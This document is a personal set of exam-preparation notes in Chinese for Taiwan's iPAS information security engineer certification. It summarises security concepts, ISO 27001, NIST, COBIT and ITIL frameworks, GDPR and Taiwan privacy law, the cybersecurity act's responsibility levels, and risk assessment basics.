iPAS 備考筆記 - 資訊安全工程師

近期在準備 iPAS AI 應用規劃師（初級）時，順手寫寫看資訊安全工程師（初級）的去年考古題，發現兩科都有及格，就順便一起報名。用 Gemini Gem 刷練習題時，發現有些名詞和細節很容易搞混在一起，所以乾脆讓 AI 幫我整理成一份筆記，再對照過往的工程師經驗做補充。

以下只是個人筆記，內容不保證完全在初級範圍內。對 Gemini Gem 的指令設定有刻意把難度往上拉，每輪（一輪 20 題、共 5 輪）測試也都在提升難度，所以我猜大概在有超過初級，但沒涵蓋到全部中級範圍。

這篇單純是想到什麼就記什麼，後續刷題時會可能也會隨時補充。另外，筆記中有很多程式碼和指令的部分，只是為了方便理解或是有需要時有地方抄加上去，所以放用 details 摺疊起來。

基礎概念

資訊安全基本原理與術語

CIA 三元組（核心）

概念	英文	說明	控制措施
機密性	Confidentiality	確保資訊僅被授權者存取	加密、存取控制、資料分類
完整性	Integrity	確保資訊未遭未授權修改	雜湊校驗、數位簽章、版本控制
可用性	Availability	確保授權使用者能及時存取資訊	備份、容災、負載平衡

延伸安全屬性

概念	英文	說明	控制措施
真實性	Authenticity	確認資訊來源的真實性	數位簽章、PKI、多因素認證
不可否認性	Non-repudiation	確保行為無法事後否認	數位簽章、稽核記錄、時戳服務
問責性	Accountability	確保行為可追溯至特定個體	身分認證、存取記錄、職責分離

AAA 框架（Authentication, Authorization, Accounting）

要素	英文	說明	控制措施
認證	Authentication	驗證使用者身分（「你是誰？」）	帳號密碼、MFA/FIDO2、生物辨識
授權	Authorization	決定可存取的資源（「你能做什麼？」）	RBAC、ABAC、OAuth 2.0
記帳/稽核	Accounting	記錄使用者行為供追蹤（「你做了什麼？」）	稽核日誌、SIEM、NetFlow

CIA vs AAA

• CIA 描述資訊應具備的安全屬性（保護目標）；AAA 描述存取控制的三個階段（實作機制）。兩者互補。

CIA 與 AAA 關係圖

資產價值評估準則

價值類型	評估要素	量化方式	範例
直接成本	重建、採購成本	貨幣價值	軟體授權費、硬體設備成本
間接成本	營運中斷、商譽損失	損失營收估算	每小時系統停機損失
法律成本	法規遵循、罰款風險	潛在罰金	GDPR 最高可罰年營業額 4%
競爭價值	智慧財產、商業機密	競爭優勢評估	研發成果、客戶清單

縱深防禦（Defense in Depth）

多層安全控制的架構策略，即使單一層被突破，其他層仍能提供保護。概念類似古代城堡的層層防禦：城牆被攻破還有護城河，再進來還有內城與箭塔，每一層都會消耗攻擊者時間並提高暴露風險。

層	控制措施
治理層	政策（Policy）、安全意識訓練（Security Awareness Training）
實體安全	門禁（Access Control）、監視系統（CCTV）
網路邊界	防火牆（Firewall）/ IPS（Intrusion Prevention System，入侵防禦系統）/ SDP（Software Defined Perimeter，軟體定義邊界）
網路內部	零信任（Zero Trust）/ NAC（Network Access Control，網路存取控制）
主機安全	EDR（Endpoint Detection and Response，端點偵測與回應）/ AppLocker（應用程式白名單）
應用安全	WAF（Web Application Firewall，Web 應用防火牆）/ RASP（Runtime Application Self-Protection，執行期自我保護）/ SSDLC（Secure Software Development Lifecycle，安全軟體開發生命週期）
資料安全	加密（Encryption）/ DLP（Data Loss Prevention，資料外洩防護）

安全治理文件層級（Security Governance）

層級	英文	性質	範例
政策	Policy	說明「做什麼」與「為什麼」，不規定技術細節。由最高管理層核准，具強制效力，違反即構成不符合性。	「所有資料傳輸須加密」
標準	Standard	說明「達到政策要求的最低技術門檻」，具強制效力。指定具體版本、演算法或設定值，違反即構成不符合性。	「使用 TLS 1.2 以上」
程序	Procedure	說明「如何執行」，列出可重複操作的步驟序列。具強制效力，人員必須照步驟執行，偏離需正式核准。	「帳號申請 SOP」
指引	Guideline	提供建議做法，無強制效力。人員可依情境判斷是否採用，偏離不構成不符合性。	「建議密碼長度 12 字元以上」

治理文件層級圖

資訊倫理 PAPA 理論

由學者 Richard Mason 於 1986 年提出，定義資訊時代四大倫理議題。

縮寫	議題	核心問題
P（Privacy，隱私權）	個人有決定是否公開自有資訊的權利	哪些個人資料可以被蒐集？在什麼條件下可以公開？
A（Accuracy，正確性）	資訊的真實性與正確性責任	誰負責確保資訊準確無誤？
P（Property，財產/所有權）	資訊智慧財產權的歸屬	誰擁有這些資訊？
A（Accessibility，使用/存取權）	在何種條件下有資格存取資訊	什麼條件下，個人或組織有權取得所需資料？

Accessibility 與 Availability 的差異

Accessibility（存取權）≠ Availability（可用性）：前者是「誰有資格用」，後者是「系統能不能用」。

資產的分類與分級

資產（Asset）指對組織具有價值、值得保護的任何事物。常見直覺是把資產等同於實體硬體，但資產範圍遠不止於此，資訊資料本身往往才是組織最需要保護的核心價值。

資產的類型

依資產在組織中扮演的角色，可分為兩大類別：

類別	英文	定義	涵蓋範例
主要資產	Primary Asset	組織真正要保護的核心價值本身，失去後即無法達成業務目標	業務資訊與資料（客戶資料、財務報表、營業秘密、智慧財產）；業務流程與企業活動（訂單處理、客戶服務、生產流程、策略決策）
支援資產	Supporting Asset	承載、處理或支撐主要資產運作的資源，本身的價值來自於支援主要資產	硬體（伺服器、終端、儲存裝置）；軟體（作業系統、應用程式）；網路（網路設備、通訊線路）；人員（員工、合約商、第三方）；實體場所（辦公室、機房）；組織結構與形象

主要資產是「目的」，支援資產是「手段」。判斷的關鍵問題是「這個資產失去時，組織為何受損？」直接損失核心業務價值的是主要資產；損失的是達成業務的工具或環境，則是支援資產。

常見項目的分類

項目	類別	理由
資訊（Information）	主要	業務的價值載體，是組織直接要保護的對象
業務流程（Business Process）	主要	組織創造價值的行為本身，如訂單處理、客戶服務
企業活動（Business Activities）	主要	與業務流程同一範疇，屬組織的核心運作
硬體（Hardware）	支援	承載資訊與執行流程的工具，本身可替換
軟體（Software）	支援	處理資訊的工具
網路（Network）	支援	傳輸資訊的通道
人員（Personnel）	支援	操作系統、執行流程的角色，本身不是業務價值的主體
實體場所（Site）	支援	容納硬體與人員的環境
組織結構（Organization）	支援	支撐流程運作的治理框架

風險評鑑時先確認主要資產的價值，再循支援資產追蹤其受威脅的途徑。

資產盤點（Asset Inventory）

資產盤點是系統性地識別組織所有資產、建立資產清冊的程序。清冊通常記錄資產名稱、類型、所在位置、擁有者，以及價值或分級。

盤點是後續資安工作的前提，因為無法保護不知道存在的東西。先盤點出組織持有哪些資產、各由誰負責，才能據以分類分級、執行風險評鑑，並將防護資源投注在最重要的標的。盤點並非一次性工作，資產異動時清冊須同步更新。

分類分級的兩個維度

完成盤點後，須依資產的價值賦予保護等級。等級的判定依據是資產的機密性、完整性、可用性受損時的衝擊程度，實務上形成兩個維度：

• 敏感度：著眼於資料外洩會造成多大傷害，屬機密性導向。
• 關鍵性：著眼於資產中斷或失效對營運的衝擊，屬完整性與可用性導向。

資訊的敏感度分級

對「資訊」這類主要資產，最常見的是依機密性劃分敏感度等級，由外洩可能造成的損害輕重，由低至高分為四級：

等級	英文	標準	典型範例
公開	Public	公開不會造成傷害	公司官網的行銷資料、已公告的財報
內部	Internal	對外公開不會造成重大損害，但不主動外流	公司內部網站的作業程序文件
機密	Confidential	對外公開可能損害企業	商業機密、未公告的產品研發計畫
私密	Private	對外公開可能損害他人隱私	員工身分證號、客戶信用卡號等個人資料

敏感度分級判斷流程

Public 與 Internal 的判斷

Public 與 Internal 外洩的傷害都不高，光看「是否造成傷害」無法區分兩者。差別在於資料是否原本就規劃對外公開：

• Public：本即供外界取用的資料，如行銷文宣、已公告財報。歸入 Public 須經資產擁有者明確核可。
• Internal：未規劃對外公開的資料，如內部 SOP；即使外流影響不大，仍不屬於 Public。

未經核可為 Public 的資料，預設一律歸 Internal。

政府機關資料分級

臺灣政府依《國家機密保護法》將機密資料由高至低分為：絕對機密 → 極機密 → 機密。一般公務文書則依《文書處理手冊》區分「密」與「一般」。與企業四級分類的邏輯類似，核心差異在於政府分級著重國家安全影響，企業分級著重商業損害。

資產的關鍵性

關鍵資產（Critical Asset）指對組織核心業務或使命運作至關重要的資產，其機密性、完整性或可用性一旦受損，將導致營運中斷或重大損害。識別關鍵資產的目的，是把有限的防護資源優先投注於最重要的標的。

敏感度與關鍵性是兩個獨立維度，同一資產可能高敏感但非關鍵（如離職員工的個資封存檔），也可能關鍵但低敏感（如對外公開的官網訂單服務）。

資產管理角色

資產分類分級後，須釐清誰負責決定分類、誰負責落實控制。

角色	英文	典型擔任	職責
資產擁有者	Asset Owner	業務單位主管	決定分類等級、核准存取授權，負最終安全責任
資產保管者	Asset Custodian	IT 部門	依擁有者指示落實儲存、備份、存取控制等技術措施，無權自行調整等級

資產分類判斷重點

• 等級調整（含調升與調降）均須由資產擁有者依組織政策與風險評估程序決定，不得任意變更；調降須留書面紀錄以備稽核。
• 個人識別資料（身分證、信用卡號） → Private；商業機密 → Confidential。

與資訊安全角色的差異

與資產管理的 Owner / Custodian 方向相似，但法律框架不同，不能直接畫等號：

• 資料控制者 vs 資產擁有者：控制者的法律責任由 GDPR / 個資法明定，違反可受主管機關裁罰；資產擁有者的責任來自組織內部政策。
• 資料處理者 vs 資產保管者：處理者與控制者之間須有書面的資料處理協議（DPA）；保管者與擁有者之間為內部職責劃分，無須對外簽約。

法規與合規

ISO/IEC 27001 與 ISMS 基本要求

ISO/IEC 27000 系列標準

標準	主題	是否可認證	重點說明
ISO/IEC 27000	術語與定義概述	❌ 不可認證	定義整個 27000 系列使用的術語與概念，是閱讀其他標準的基礎字典
ISO/IEC 27001	資訊安全管理系統（ISMS）要求	✅ 可申請第三方認證	規定組織必須（SHALL）建立、實作、維護 ISMS 的要求，是整個系列的認證核心
ISO/IEC 27002	資訊安全控制措施指引	❌ 不可認證	對 27001 附錄 A 中的控制措施提供實作建議（SHOULD），是操作手冊而非規範
ISO/IEC 27003	ISMS 實施指引	❌ 不可認證	說明如何落地執行 27001 各條款，提供實作範例與建議做法
ISO/IEC 27004	資訊安全量測與評鑑	❌ 不可認證	提供量測指標設計方法，對應 27001 條款 9（績效評估），協助組織評估 ISMS 有效性
ISO/IEC 27005	資訊安全風險管理	❌ 不可認證	提供風險管理流程指引（識別 → 評估 → 處理 → 監控），為 27001 風險評鑑提供方法論
ISO/IEC 27006	認證機構要求	✅（認證機構本身適用）	規範執行 ISMS 稽核與認證的第三方機構必須符合的條件，非一般組織適用
ISO/IEC 27007	ISMS 稽核指引	❌ 不可認證	提供執行 ISMS 內部稽核與第三方稽核的方法論，補充 ISO 19011 的資安稽核場景
ISO/IEC 27017	雲端服務資安控制	視認證機構	針對雲端供應商與租戶的額外控制指引，補充 27002 的雲端場景
ISO/IEC 27018	公有雲個資保護	視認證機構	雲端環境中個人資料保護指引，符合 GDPR 精神
ISO/IEC 27701	隱私資訊管理系統（PIMS）	✅（需以 27001 為基礎）	在 ISO 27001 / 27002 之上擴充隱私管理要求，協助組織建立 PIMS 並對應 GDPR 等個資法規

ISO/IEC 27001 與 SoA 重點

• 27001 條款 4–10 屬強制（SHALL），組織必須全部符合才能取得認證。
• 通過 27001 認證 = ISMS 管理系統符合規範；27002 是「建議怎麼做」的參考手冊，本身不可認證。
• 附錄 A 的 93 項控制措施不要求全部實施，組織依風險評鑑結果選擇適用項目，並在 適用性聲明（SoA，Statement of Applicability） 中記錄每項控制的選用理由或排除說明。
• 27002 提供每項控制措施的實作建議（SHOULD），作法可不同於 27002，但需在 SoA 中說明。
• ISO 只發布標準，不核發個人資格；Lead Auditor 證照是由人員認證機構（如 IRCA、PECB）依 ISO/IEC 17024 核發。

ISO 27001 附錄 A 控制措施類別

主題	英文	控制數量	涵蓋範圍
組織	Organizational	37	資安政策、角色責任、資產管理、供應商關係、事件管理
人員	People	8	僱用前篩選、安全意識訓練、懲處程序、離職程序
實體	Physical	14	安全區域、設備保護、纜線安全、媒體處置
技術	Technological	34	存取控制、加密、網路安全、安全開發、弱點管理

2022 版新增 11 項控制措施

2022 版控制措施總計 93 項（2013 版為 114 項），改版時新增 11 項並將部分控制合併精簡。新增項目如下：

#	控制編號	控制措施	類別
1	5.7	威脅情資（Threat Intelligence）	組織
2	5.23	使用雲端服務之資訊安全	組織
3	5.30	ICT 營運持續準備	組織
4	7.4	實體安全監控	實體
5	8.9	組態管理（Configuration Management）	技術
6	8.10	資訊刪除（Information Deletion）	技術
7	8.11	資料遮蔽（Data Masking）	技術
8	8.12	資料洩漏預防（Data Leakage Prevention）	技術
9	8.16	監控活動（Monitoring Activities）	技術
10	8.23	網頁過濾（Web Filtering）	技術
11	8.28	安全程式開發（Secure Coding）	技術

ISMS 有效性指標

指標類型	範例指標	目標值參考
預防效果	安全意識訓練完成率、弱點修補時間	訓練完成率 > 95%、高風險弱點 < 72 小時修補
偵測能力	平均檢測時間（MTTD）、誤報率	MTTD < 24 小時、誤報率 < 5%
回應效率	平均回應時間（MTTR）、事件解決率	MTTR < 4 小時、解決率 > 98%
合規程度	稽核發現改善率、控制措施有效性	重大發現 100% 改善、控制有效性 > 90%

ISMS PDCA 循環

ISMS 核心要素

要素	英文	說明	具體要求
背景	Context	了解組織環境與利害相關者需求	識別內外部議題、法規要求、利害相關者期望
領導	Leadership	高階管理階層承諾與參與	建立資安政策、指派資安責任、提供資源
規劃	Planning	風險評鑑與目標設定	執行風險評鑑、制定風險處理計畫、設定可量測的資安目標
支援	Support	提供必要的資源與能力	人力配置、教育訓練、文件化程序、內部溝通
營運	Operation	實施與運行 ISMS	執行風險處理措施、控制措施運作、供應商管理
績效評估	Performance Evaluation	監控與量測	內部稽核、管理審查、績效指標監控
改善	Improvement	持續改善機制	不符合事項處理、矯正措施、預防措施

ISO/IEC 27001 採用 PDCA 循環確保 ISMS 持續改善：

階段	英文	核心任務
計畫	Plan	建立 ISMS 政策、目標與風險評鑑流程，制定風險處理計畫
執行	Do	實施並運行 ISMS 政策、控制措施、程序
查核	Check	評量 ISMS 績效、執行內部稽核與管理審查，向管理階層報告結果
行動	Act	依稽核結果採取矯正與預防措施，促使 ISMS 持續改善

稽核類型（三方）對照表

類型	英文	說明	典型範例
第一方稽核	1st Party	內部稽核，組織對自身進行	公司自行執行的資安內部稽核
第二方稽核	2nd Party	對外部供應商或合作對象進行的稽核；主管機關對所屬機構的稽核	金管會稽核轄下銀行；客戶稽核供應商
第三方稽核	3rd Party	獨立驗證/認證機構執行，可發出認證證書	ISO 27001 認證稽核

第二方與第三方稽核判斷

• 只有第三方稽核可以對外核發認證證書（如通過 ISO 27001 認證）。
• 主管機關稽核（如金管會查銀行）= 第二方，不是第三方。
• 常見誤解：感覺主管機關是「外部獨立第三方」，但 ISO 定義中，有利益關係的外部方（監管機關、客戶）都算第二方。

第三方稽核認證對照表

認證 / 報告	性質	稽核範圍	特點
SOC 2 Type 1	第三方稽核報告	特定時間點的系統設計是否符合信任服務標準（TSC）	點對點（Point-in-time），只證明設計合理，不驗證實際運作效果
SOC 2 Type 2	第三方稽核報告	一段時間（通常 6–12 個月）內的系統運作是否符合 TSC	區間（Period-of-time），驗證控制措施持續有效運作；比 Type 1 更具說服力
ISO 27001 證書	第三方認證	ISMS 管理系統是否符合 ISO 27001 標準	每年監督稽核 + 三年一次重新認證；偏「管理系統」而非技術控制運作細節
PCI DSS AoC	合規聲明	支付卡資料環境（CDE）是否符合 PCI DSS 要求	適用於處理信用卡交易的組織，不同等級要求差異大（Level 1 需 QSA 現場稽核）

SOC 2 Type 1 vs Type 2

• Type 1 = 藍圖審查：控制措施設計合理，但尚未驗證是否真的有在執行。
• Type 2 = 實際驗收：在一段觀察期內，控制措施確實有效運作。
• SOC 2 適用於所有處理客戶資料的服務型組織，不限於雲端服務。主流雲端服務供應商（如 AWS、Azure、GCP）也會產出 SOC 2 Type 2 報告，供企業客戶做供應商風險評估。

CSA STAR（雲端安全保證計畫）

CSA STAR（Security, Trust, Assurance and Risk）是雲端安全聯盟（CSA）推出的雲端服務安全保證計畫，以雲端控制矩陣（CCM，Cloud Controls Matrix）為評估基準，現行分兩個等級：

• Level 1 自我評估：雲端供應商填寫 CAIQ（共識評估倡議問卷）後公開於 CSA 登錄，免費。
• Level 2 第三方稽核：由獨立稽核機構驗證，可結合 ISO/IEC 27001（STAR Certification）或 SOC 2（STAR Attestation）。

NIST CSF 與 NIST SP 800 系列

NIST CSF（Cybersecurity Framework）

由美國 NIST（National Institute of Standards and Technology，美國國家標準暨技術研究院）發布的自願性網路安全框架，廣泛應用於各產業。CSF 2.0（2024 年發布）新增 Govern 功能，強調治理層面，定義六大核心功能，提供組織評估與改善資安態勢的結構化方法。

功能	英文	說明	對應活動
治理	Govern（GV）	建立資安治理結構與策略，確保資安風險管理與組織目標一致（CSF 2.0 新增）	資安政策制定、角色與責任指派、供應鏈風險管理
識別	Identify（ID）	盤點組織資產、業務環境與風險	資產管理、風險評鑑、供應鏈識別
保護	Protect（PR）	實施控制措施保護關鍵資產	存取控制、資料安全、安全意識訓練、平台安全
偵測	Detect（DE）	及時發現資安事件	持續監控、異常分析、事件偵測程序
回應	Respond（RS）	對已確認的事件採取行動	事件管理、分析、通報、矯正措施
復原	Recover（RC）	將受影響的服務恢復正常	復原計畫執行、改善措施、對外溝通

NIST CSF vs ISO 27001

• NIST CSF：自願性框架，無認證制度，側重「做什麼」（功能導向），適合作為資安成熟度評估起點。
• ISO 27001：可申請第三方認證，側重「怎麼管」（管理系統導向），適合需要對外證明合規的組織。
• 兩者互補：組織可用 NIST CSF 評估現況與目標差距，再以 ISO 27001 建立可認證的管理體系。
• CSF 2.0 新增「Govern」功能，強調資安治理應由高層主導，與 ISO 27001 的管理審查精神一致。

NIST SP 800 系列

NIST 發布的特殊出版品（Special Publication）系列，涵蓋各類資安主題的技術指引與控制規範，主要供美國聯邦機構作為 FISMA 合規依據，非聯邦組織亦廣泛參考。

文件	主題	重點說明
SP 800-37	風險管理框架（RMF）	定義七步驟風險管理流程（準備、分類、選取、實施、評鑑、授權、監控），為聯邦機構主要合規依據
SP 800-53	安全與隱私控制措施	數百項控制措施依 20 個控制族群分類（如 AC 存取控制、IR 事件回應），為 SP 800-37 的實施依據
SP 800-61	資安事件處理指引	（Rev. 3, 2025）將事件回應納入 CSF 2.0 整體風險管理脈絡，IR 活動貫穿全部六個 Function（Govern、Identify、Protect、Detect、Respond、Recover）
SP 800-63	數位身分指引	規範身分驗證保證等級（AAL）、身分核實等級（IAL）與聯邦保證等級（FAL）
SP 800-88	媒體清除指引	（Rev. 2, 2025）將媒體清除分為 Clear / Purge / Destroy 三個層級，提供依資料敏感度與裝置類型選擇清除方式的決策框架
SP 800-171	CUI 保護	非聯邦系統處理受控非機密資訊（CUI）的安全要求，常用於政府供應鏈合規
SP 800-207	零信任架構	定義七個零信任基本原則（Tenets）與 PE/PA/PEP 邏輯架構元件，提供聯邦機構遷移至零信任的參考架構

NIST CSF vs SP 800 系列

• CSF：定義「要達成什麼結果」（高階功能導向），適合評估與溝通資安態勢。
• SP 800 系列：定義「要實施哪些具體控制與流程」（細節技術導向），適合聯邦合規與詳細實施規劃。
• 兩者互補：CSF 是地圖，SP 800 系列是各區域的施工規範。

COBIT 治理框架

COBIT（Control Objectives for Information and Related Technologies）

由 ISACA 發布的 IT 治理框架，目前版本為 COBIT 2019。核心問題是「IT 是否在做對的事，且做得合規」，對象為管理層與稽核人員。

COBIT 將 IT 活動區分為兩個層次：

層次	英文	說明
治理	Governance	設定方向、評估選項、監督執行，由董事會或高層負責
管理	Management	規劃、建置、執行、監控具體活動，由 IT 管理層負責

常見使用場景：IT 稽核、SOX 合規（Sarbanes-Oxley Act）、與 ISO 27001 結合作為治理層參考。

ITIL 服務管理框架

ITIL（Information Technology Infrastructure Library）

由 PeopleCert（原 AXELOS）發布的 IT 服務管理框架，目前版本為 ITIL 4（2019）。核心問題是「IT 服務是否交付得好、運作得穩」，對象為 IT 維運與服務管理團隊。

ITIL 4 以 服務價值系統（Service Value System, SVS） 為核心，包含 34 項管理實踐（Management Practices），依功能分三類：

類別	說明	代表實踐
一般管理實踐	跨組織通用的管理活動	風險管理、資訊安全管理、知識管理
服務管理實踐	IT 服務特有的管理活動	事件管理、問題管理、變更控制、服務台
技術管理實踐	技術導向的管理活動	基礎設施管理、部署管理

與資安的交集：事件管理（Incident Management）、問題管理（Problem Management）、變更賦能（Change Enablement，ITIL v3 稱 Change Control）流程與資安事件處理、漏洞修補流程高度重疊。

COBIT vs ITIL

• COBIT：IT 治理框架，回答「是否做對的事」，對象是管理層與稽核。
• ITIL：IT 服務管理框架，回答「服務是否做得好」，對象是維運團隊。
• 兩者平行，無上下層關係。實務上可並用：COBIT 設定治理目標，ITIL 落地執行服務流程。

GDPR 與臺灣個資法對照表

面向	GDPR（EU）	臺灣個人資料保護法
適用對象	處理位於歐盟境內個人之個資的組織（不限地域，臺灣企業若服務 EU 用戶亦適用）	臺灣境內公務機關與非公務機關的個資蒐集、處理、利用；對境外處理中華民國人民個資者亦有域外適用（第 51 條）
個資定義	可直接或間接識別自然人的任何資訊	可識別個人的姓名、出生年月日、身分證字號等直接或間接識別資料
核心原則	合法性、公平性、透明性、目的限制、資料最小化、正確性、儲存限制、完整性與機密性	蒐集目的正當、必要性原則、當事人告知後同意（特種個資另有書面同意等更嚴格規定）
當事人權利	存取、更正、刪除（被遺忘權）、可攜、反對處理、限制處理	查詢、閱覽、複製、補充、更正、停止蒐集/處理/利用、刪除
資料外洩通報	72 小時內向主管機關（DPA）通報	現行法無統一時限，主要要求通知當事人；114 年修正條文第 12 條新增主管機關通報框架，施行日由行政院定之
最高罰則	€20,000,000 或全球年營業額 4%（取較高者）	非公務機關：新臺幣 1,500 萬元以下罰鍰
資料保護官（DPO）	特定情況下強制設置	現行法未採 GDPR 式 DPO 制度；114 年修正條文新增公務機關個人資料保護長相關規定，施行日未定
跨境傳輸	需確保接收國有足夠保護水準（如 SCCs 標準合約條款、adequacy decision 充足性認定）	以特定目的與合法蒐集、處理、利用為前提；符合第 21 條列舉情形（涉及國家重大利益、條約限制、接受國保護不足、迂迴規避本法等）時，主管機關得限制國際傳輸

GDPR 適用判斷與個資法差異

• GDPR 的地域外效力：觸發條件不是「組織在哪裡」，而是「是否主動對位於歐盟境內的個人提供服務或監控其行為」（GDPR Art. 3(2)）。實務判斷依據包含：是否提供 EU 當地語系、接受歐元付款、在行銷中明確提及 EU 市場等。若服務沒有地理識別機制、對所有地區一視同仁，則需視有無「主動觸及 EU 用戶的意圖」來判定，並非只要有 EU 用戶就自動適用。
• 「被遺忘權」和「資料可攜權」是 GDPR 相對於臺灣個資法最明顯的差異。
• GDPR 罰則遠高於臺灣個資法，因此在歐盟業務規模較大的企業中，GDPR 合規的優先順序通常更高。

臺灣個資法：告知義務（第 8、9 條）

蒐集個資時的告知時點依蒐集方式而異：

蒐集方式	條文	告知時點
直接蒐集（向當事人本人取得，如填表）	第 8 條	蒐集當下
間接蒐集（非向當事人本人取得，如從第三方取得）	第 9 條	首次使用該個資時

兩種情況的告知內容相同：蒐集機關名稱、蒐集目的、個資類別、利用期間/地區/對象/方式，以及當事人可行使的權利。

隱私權進階概念

資料主權（Data Sovereignty）：資料受其儲存所在國家的法律管轄。組織使用雲端服務時，若資料存放於他國伺服器，可能同時受多國法律約束（如美國 CLOUD Act 允許美國政府跨境調取美國企業持有的資料）。

DPIA（Data Protection Impact Assessment，資料保護影響評估）：GDPR 第 35 條要求對高風險個資處理活動進行事前影響評估，識別隱私風險並制定緩解措施。臺灣個資法雖無明確 DPIA 條文，但主管機關鼓勵組織自行辦理。

資料最小化（Data Minimization）與目的限制（Purpose Limitation）

這是 GDPR 八大原則中最常與「蒐集個資」相關的兩個核心概念：

原則	英文	定義	常見違反案例
資料最小化	Data Minimization	僅蒐集達成特定目的所必要的個資，不得多蒐、過度蒐集	申請會員卻要求填寫身分證字號、職業、年收入等與服務無關的資料
目的限制	Purpose Limitation	個資只能用於原始蒐集時聲明的目的，不得另作他用	以「客服需求」蒐集的電話號碼被用於行銷簡訊

• 兩者互補：目的限制決定「能用在哪」，資料最小化決定「能蒐集多少」。
• 違反目的限制通常比違反資料最小化更嚴重，因為已完成蒐集的資料若被濫用，當事人難以補救。

個資處理角色

角色	英文	典型擔任	職責
資料控制者	Data Controller	蒐集個資的企業或機關	決定個資的蒐集目的與處理方式，對外承擔主要法律責任
資料處理者	Data Processor	受委託的第三方廠商	依控制者指示執行個資處理，須簽署資料處理協議（DPA）

HIPAA 醫療資料保護規範

HIPAA（Health Insurance Portability and Accountability Act，健康保險可攜性與責任法案）

美國 1996 年聯邦法規，強制規範醫療產業中受保護健康資訊（PHI）的隱私與安全。適用對象分兩類：

• 受涵蓋實體（Covered Entities）：醫療提供者、健保公司、健康資訊交換機構。
• 業務夥伴（Business Associates）：受涵蓋實體委託處理 PHI 的第三方廠商（如雲端儲存、帳務系統業者）。

規則	英文	核心要求
隱私規則	Privacy Rule	限制 PHI 的使用與揭露範圍，須取得患者授權；賦予患者查閱與修正自身資料的權利
安全規則	Security Rule	針對電子 PHI（ePHI）強制實施管理（政策程序）、實體（設備門禁）、技術（加密存取控制）三類防護措施
違規通知規則	Breach Notification Rule	ePHI 外洩後需於 60 天內通知受影響個人與 HHS；單一事件涉及 500 人以上須同步通知當地媒體

💡 專有名詞速查

• PHI：Protected Health Information（受保護健康資訊）
• ePHI：Electronic Protected Health Information（電子受保護健康資訊）
• HHS：Department of Health and Human Services（美國衛生及公共服務部）
• HIPAA vs GDPR：HIPAA 僅適用醫療產業且為美國法規；GDPR 跨產業且適用範圍為歐盟境內所有個資處理。

主要框架與法規速查

框架／法規	性質	焦點	適用對象	強制性
ISO 27001	管理系統標準	資訊安全管理（ISMS）	通用（所有產業）	自願（可申請認證）
NIST CSF	安全框架	資安風險管理（六大功能）	通用（美國政府優先）	自願
NIST SP 800 系列	技術指引與控制規範	各類資安主題的具體實施細節（含 800-53 控制措施）	美國聯邦機構（非聯邦可參考）	聯邦機構強制
COBIT	治理框架	IT 治理與控制目標	IT 治理層、稽核	自願（常作稽核基準）
ITIL	服務管理框架	IT 服務交付與維運	IT 維運/服務管理團隊	自願
GDPR	法規	個人資料保護	處理位於歐盟境內個人之個資的組織	強制
臺灣個資法	法規	個人資料保護	臺灣境內公務機關與非公務機關；對境外處理中華民國人民個資者有域外適用	強制
HIPAA	法規	醫療健康資訊保護	美國醫療產業	強制
PCI DSS	產業標準	信用卡交易資料安全	處理信用卡交易的組織	強制（卡組織要求）

• ISO 27001 vs NIST CSF：27001 有第三方認證制度；CSF 無認證，側重成熟度評估。

資通安全管理法子法總覽

《資通安全管理法》授權訂定多項子法，分別規範不同面向的執行細節：

子法	規範重點
資通安全管理法施行細則	母法名詞定義與執行補充規定
資通安全責任等級分級辦法	機關責任等級（A～E）分級與各級應辦事項
資通安全事件通報應變及演練辦法	事件通報時限、應變程序與演練作業項目
資通安全情資分享辦法	資安情資的分享範圍與機制
公務機關所屬人員資通安全事項獎懲辦法	公務機關人員資安獎懲規定
特定非公務機關資通安全維護計畫實施情形稽核辦法	特定非公務機關的稽核作業

法規改名沿革

《資通安全事件通報應變及演練辦法》原名《資通安全事件通報及應變辦法》，數位發展部於 2026 年（民國 115 年）1 月 5 日修正發布，更名後將「演練作業」納入規範範圍。新舊名稱指的是同一部子法，較早的資料可能仍使用舊名稱。

資通安全責任等級維運要求表（A 至 E 級）

責任等級由 A 至 E 遞減，A 級要求最嚴格，E 級最寬鬆。

項目 / 責任等級	A 級	B 級	C 級	D 級	E 級
專職資安人員	4 名以上	2 名以上	1 名以上	0（由資訊人員兼任）	0（由一般員工兼任）
ISMS 驗證	全機關強制通過第三方驗證	核心系統應通過第三方驗證	核心系統應通過第三方驗證	依主管機關規定自行辦理	依主管機關規定自行辦理
SOC（Security Operations Center，資安維運中心）監控	應建置，全機關 24 小時不中斷監控	應就核心系統建置	得視機關規模與風險需求自行建置	無	無
弱點掃描	每年 1 次（全機關）	每年 1 次（核心系統）	每年 1 次（核心系統）	每 2 年 1 次	無
滲透測試	每 2 年 1 次	每 2 年 1 次	每 2 年 1 次	無	無
資安健檢	每年 1 次	每年 1 次	每 2 年 1 次	無	無
資安教育訓練（時數/年）	專職人員：12 小時	專職人員：12 小時	專職人員：12 小時	資訊兼任人員：3 小時	一般兼任員工：3 小時

責任等級的關鍵分界

• A vs B：ISMS 驗證與 SOC 監控的差異在範圍，A 級涵蓋全機關，B 級僅針對核心系統。
• C 級為分水嶺：滲透測試與資安健檢的最低門檻，D 級起兩者皆無。
• D 級起改兼任制：無專職資安人員，由資訊人員兼任，弱點掃描降為每 2 年一次。
• E vs D：弱點掃描在 D 級仍每 2 年一次，到 E 級才完全取消；兼任人員也從資訊人員降為一般員工。

風險管理

弱點（Vulnerability）、威脅（Threat）與風險（Risk）三者差異

術語	英文	說明	類比
弱點	Vulnerability	系統或流程中可被利用的缺陷	門鎖壞了
威脅	Threat	可能利用弱點造成損害的事件或行為者	小偷在附近活動
風險	Risk	威脅利用弱點的可能性與影響程度	被入侵的機率與損失

• 風險 = 威脅 × 弱點 × 資產價值。任一因子為零，風險即不存在；任一因子降低，整體風險也隨之下降。

風險評鑑與處理詳細流程

階段	輸入	活動	輸出
資產識別	組織架構、業務流程	盤點資訊資產並分類分級	資產清冊、資產價值
威脅弱點識別	資產清冊、威脅情資	識別適用威脅與既有弱點	威脅清單、弱點清單
風險分析	威脅、弱點、現有控制	評估風險發生機率與衝擊	固有風險、殘餘風險
風險評估	風險值、風險胃納	判定風險可接受性	風險等級、處理優先順序
風險處理	不可接受風險	選擇並實施處理措施	風險處理計畫、控制措施

風險分析方法比較

面向	定性分析（Qualitative）	半定量分析（Semi-Quantitative）	定量分析（Quantitative）
輸出格式	等級描述（如高/中/低、風險矩陣）	相對分數（可能性分數 × 影響分數）	財務數值（如 ALE = 12 萬/年）
資料需求	專家判斷、問卷、訪談	專家判斷 + 分級量表	歷史事件資料、統計模型
分析難度	較低	中等	較高，需具備統計與財務分析能力
